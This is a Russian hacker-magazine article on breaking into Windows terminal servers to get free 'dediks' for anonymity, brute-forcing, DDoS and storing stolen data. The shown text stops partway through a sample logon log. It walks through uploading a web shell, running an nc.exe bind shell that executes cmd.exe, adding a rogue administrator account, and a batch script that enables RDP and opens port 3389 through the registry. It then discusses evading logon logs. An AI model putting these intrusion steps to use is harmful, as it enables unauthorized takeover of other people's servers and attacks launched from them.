Терминальная эпопея Андрей Комаров aka Skvoznoy Хакер, номер #095, стр. 095-074-1 (admin@cup.su) Как ломают терминальные сервера Почти каждый приватный форум рунета пестрит сообщениями о продаже «дедиков». Dedicated server, или просто дедик, - полезный предмет в руках хакера. Во-первых, он может потребоваться тебе при обеспечении анонимности и при совершении «коварных злодеяний», а во-вторых, все же это VDS, на котором возможно хранить гигабайты конфиденциальной информации даже правительственных структур. Конфигурационные мощности сервера могут быть использованы для затяжных вruteforce-атак на сетевой сервис. Широкий канал, который, в основном, варьируется от 10 до 100 Мб/с, способствует ускорению процесса получения результата, а также содействует наказанию твоего неприятеля DDOS-атакой. В голодный год денег на такой плацдарм тратить может не захотеться, поэтому стоит задуматься о способах получения его на халяву. Всем пройти к TERMINAL'у Начнем с простого. Воспользовавшись уязвимостями веб-приложений, зальем шелл на взломанный сервер, чтобы определить платформу (ОС) сервера. Затем с помощью встроенных средств интерпретатора аплоадим nc.exe (nc.exe -l -p ПОРТ -d -e cmd.exe). Теперь используем Putty (или любой другой клиент) для коннекта на заданный порт. Добавим нового суперпользователя в базу учетных записей: net user ЛОГИН ПАРОЛЬ /add net localgroup administrators /add admin Вполне возможно, что RDP изначально будет вырублен и после попытки коннекта с помощью Mstsc.exe ты получишь отказ. Но никто не мешает тебе его включить :). Это делается командой net start "Terminal Server", либо через реестр. Я покажу, как модификацией реестра включить RDP, на примере. Для этого создаем удаленно .bat файл (либо файл, аналогично исполняемый). Загружаем его через залитый скриптовый шелл, запоминаем путь и исполняем его из консоли. echo off IF [%1]==[] ( ECHO Usage: %0 computername ) ELSE ( reg add "\\%1\HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f reg add "\\%1\HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\GloballyOpenPorts\List" /v "3389:TCP" /t REG_SZ /d "3389:TCP:LocalSubNet:Enabled:Remote Desktop" /f ) pause Следует отметить, что служба Terminal Server требует предварительного ее наличия. Например, на XP она уже присутствует, а на некоторые серверные платформы ее необходимо дополнительно устанавливать. Анонимность при подключении к RDP Не стоит забывать, что, как бы то ни было, все попытки подключений могут логироваться как в Windows Firewall, так и в Event Viewer. Безусловно, это зависит от принятой админом политики безопасности, но, например, Win2003 по умолчанию пишет лог, кто и откуда коннектился на машину. Для иллюстрации я приведу пример такого журнала: Successful Logon: User Name: Administrator Domain: SUPERSERVER Logon ID: (0x0,0x133F833B) Logon Type: 10 Logon Process: User32 Authentication Package: Negotiate Workstation Name: SUPERSERVER Logon GUID: - Caller User Name: SUPERSERVER$ Caller Domain: XAKEP.ru |